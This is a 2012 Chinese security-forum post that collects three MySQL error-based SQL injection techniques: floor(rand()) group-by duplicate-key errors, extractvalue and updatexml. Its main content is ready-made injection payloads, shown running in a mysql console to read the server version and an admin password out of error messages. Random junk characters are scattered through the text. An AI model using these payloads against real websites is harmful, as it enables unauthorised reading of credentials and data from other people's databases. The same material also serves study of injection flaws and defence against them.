找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2313|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
# Z  [* l+ A% @8 H) D& r' R+ @实际测试环境:+ w5 u* }' C. O* M

+ j) b" |8 ]; ~7 w
' `) H8 t. |/ X) Y0 G# T+ Hmysql> show tables;
0 N$ |3 H$ R4 F, j- D- H" q+----------------+
+ m! Q6 F0 e6 g: Y: [' \| Tables_in_test |5 j: F. z. }1 k/ H9 N0 P3 C
+----------------+
: U. V; u9 @+ p% K( n7 g| admin          |- ~# |  G6 Q8 X" G2 ~% G# ]! m, t
| article        |
. {* H9 e7 Q! E7 U+----------------+
1 _' I5 L7 O: J/ G: i% A5 X
. ?0 S) X( c0 [: N, {( j ( X/ k/ O+ M* R2 r& \( W3 f# f' t
4 \- I/ Q# y* r: d, [) ~: n
mysql> describe admin;3 j/ a4 T. m  ^3 [
+-------+------------------+------+-----+---------+----------------+& o5 {% u# _6 X/ P1 H
| Field | Type             | Null | Key | Default | Extra          |
+ i; w  F) [6 W) }7 q+-------+------------------+------+-----+---------+----------------+4 D' ?- R4 }8 z3 I$ y
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
2 U0 P  q& b5 Z, k8 \8 V| user  | varchar(50)      | NO   |     | NULL    |                |2 s* c% H$ x+ c, e! b7 g
| pass  | varchar(50)      | NO   |     | NULL    |                |
: d) Z5 }7 N& C. ^" J0 J+-------+------------------+------+-----+---------+----------------+- k7 @( w' Y; g$ @& H8 k" d

+ j! J; v& x8 y8 p0 T
# G2 j2 t" w/ M5 e6 { ; x: H9 o9 ^; W/ I; e; n8 G
mysql> describe article;+ q0 y6 A% y8 t2 c5 c
+---------+------------------+------+-----+---------+----------------++ |  L. J+ [/ P2 i. @, F
| Field   | Type             | Null | Key | Default | Extra          |
, c' |9 Z& M* V- l' U0 p+---------+------------------+------+-----+---------+----------------+5 W4 D( Q' n8 \, H5 \% f
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |, a& t5 {! n$ }& @- C+ S  ?1 N1 y* e* O
| title   | varchar(50)      | NO   |     | NULL    |                |
* e( f9 d/ T4 P8 v0 Y' J' b! P| content | varchar(50)      | NO   |     | NULL    |                |, d. e1 K1 X5 a; D" Z
+---------+------------------+------+-----+---------+----------------+& Y2 P% r! n  h. I( b# y2 {: y
1、通过floor报错1 D! i$ k5 g9 M9 H" M, @
可以通过如下一些利用代码/ k% m' s' i+ }$ `8 A( Y- E0 B

6 h3 j) A2 D1 A0 r3 \. v/ B
% o+ `4 O8 n6 S5 J! u1 H7 [! uand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
  ~! F3 D7 S% `- C3 L: ?8 f, jfrom information_schema.tables group by x)a);7 z% T! h! a$ ]8 ~

* u/ V, \2 G6 M9 C6 H6 Z9 a0 I* H, K 8 I, Z  g7 D# a2 {" Q( D2 Z4 e
and (select count(*) from (select 1 union select null union select !1)x% W( T2 U( A& j1 ?. F$ l1 d! g# ]% Z
group by concat((select table_name from information_schema.tables limit 1),
/ y+ l+ ^7 ?# p1 f! afloor(rand(0)*2)));% z( i5 x; y* [; Y. I0 g: U
举例如下:
  p4 b( a# m* ^# ~- j& o3 N首先进行正常查询:7 o! m  w9 `7 ^# Q1 C) L. Y9 d5 z

- D; Y2 o; T% h7 j4 N! M' lmysql> select * from article where id = 1;4 Z& f% [. Q. Q) A" ]$ {+ C, @1 @% @
+----+-------+---------+; R1 I; ^. z  Y
| id | title | content |
7 a' P8 F3 f, h# }# X+ ^. f( i+----+-------+---------+5 H' {6 u$ D( ]0 l) a
|  1 | test  | do it   |
5 p* k& i! U3 A) q$ f9 v+----+-------+---------+
" B" |1 y6 @+ z. K! f9 p5 y# w假如id输入存在注入的话,可以通过如下语句进行报错。! M2 g! z# L5 D# |1 w# N

- F/ P* W  o! ^% q+ |" l& P " z4 f" f1 D3 T0 g
mysql> select * from article where id = 1 and (select 1 from9 D, f; B. h2 M) o3 K* P
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
0 ^4 d4 `1 T' KERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'  f# G. p; p, r* `0 d* t2 J% c
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。. \4 I. Q2 |" l7 z4 Z
例如我们需要查询管理员用户名和密码:% |" F; I/ V6 @+ H: ?" r, q9 W4 r
Method1:
( F' N) j  k* u
6 O0 e6 m, G6 J, d8 b7 C + a1 `' F# p' j/ N. u& a) f
mysql> select * from article where id = 1 and (select 1 from
" E5 `; ]+ i! B8 Y+ u(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x! }; b" |9 K6 i% A  A& `
from information_schema.tables group by x)a);
: X* u5 d4 I8 \2 ~- v1 [ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'1 P9 Y; k1 ?1 C+ x$ l+ z5 L$ t
Method2:
) k, H: {* j2 E, ]6 t ( Y' ~$ ]: A. B, I
: I/ g3 B. n3 ^9 L9 h9 `% y1 a
mysql> select * from article where id = 1 and (select count(*)
) k1 l5 S+ n, Z# b- [0 U/ U. Efrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),3 w" x5 X! _  G. X: u! a9 j
floor(rand(0)*2)));* u# j# o# c; f5 A( e( s
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
/ H- O  l/ i( z, Z$ {2、ExtractValue# F, G1 M" n' q! W& y% L
测试语句如下# ^' L% A: x, J" b$ m2 X3 a

3 E# a1 L! l2 n. A* `2 L 6 u# C0 ^0 Z; ^" u3 y) v3 q
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
' m2 A" j7 |! h- M7 I实际测试过程
8 `9 A6 B) E. B' Y6 _/ p- Y  v 8 ~# S! e5 e. i' `8 G0 f
( A& n9 C& b( _
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,5 n% Y; ?) @" `2 }5 P
(select pass from admin limit 1)));--7 a# }3 B2 l3 d- N4 |
ERROR 1105 (HY000): XPATH syntax error: '\admin888'8 x5 H7 I& a* u( l6 M. I
3、UpdateXml
! `/ Y6 E0 Q  D& W( ?测试语句
. V; ~6 U1 R& J9 _# T2 a" T# m. J * c: x6 A4 ?  F2 W. P* y
+ ^8 x, J) n# X( B, v
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)), C5 y4 S, L6 y& t
实际测试过程+ ]" M( X# g( k3 H" v

/ V2 f9 n2 b, b& ~ ; ^6 @' S% W! v6 z/ a- o
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,  Q7 p+ c2 k! U: A' s" n7 n
(select pass from admin limit 1),0x5e24),1));
! ?9 ?+ y0 z& ^7 b0 p1 lERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
5 e. p, E8 Y  W7 dAll, thanks foreign guys.
9 \  R4 a& @- {6 }) [3 [ $ N' ?9 H& L  c0 u; J2 \. t
% B6 A5 V9 @( b: x3 n/ ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表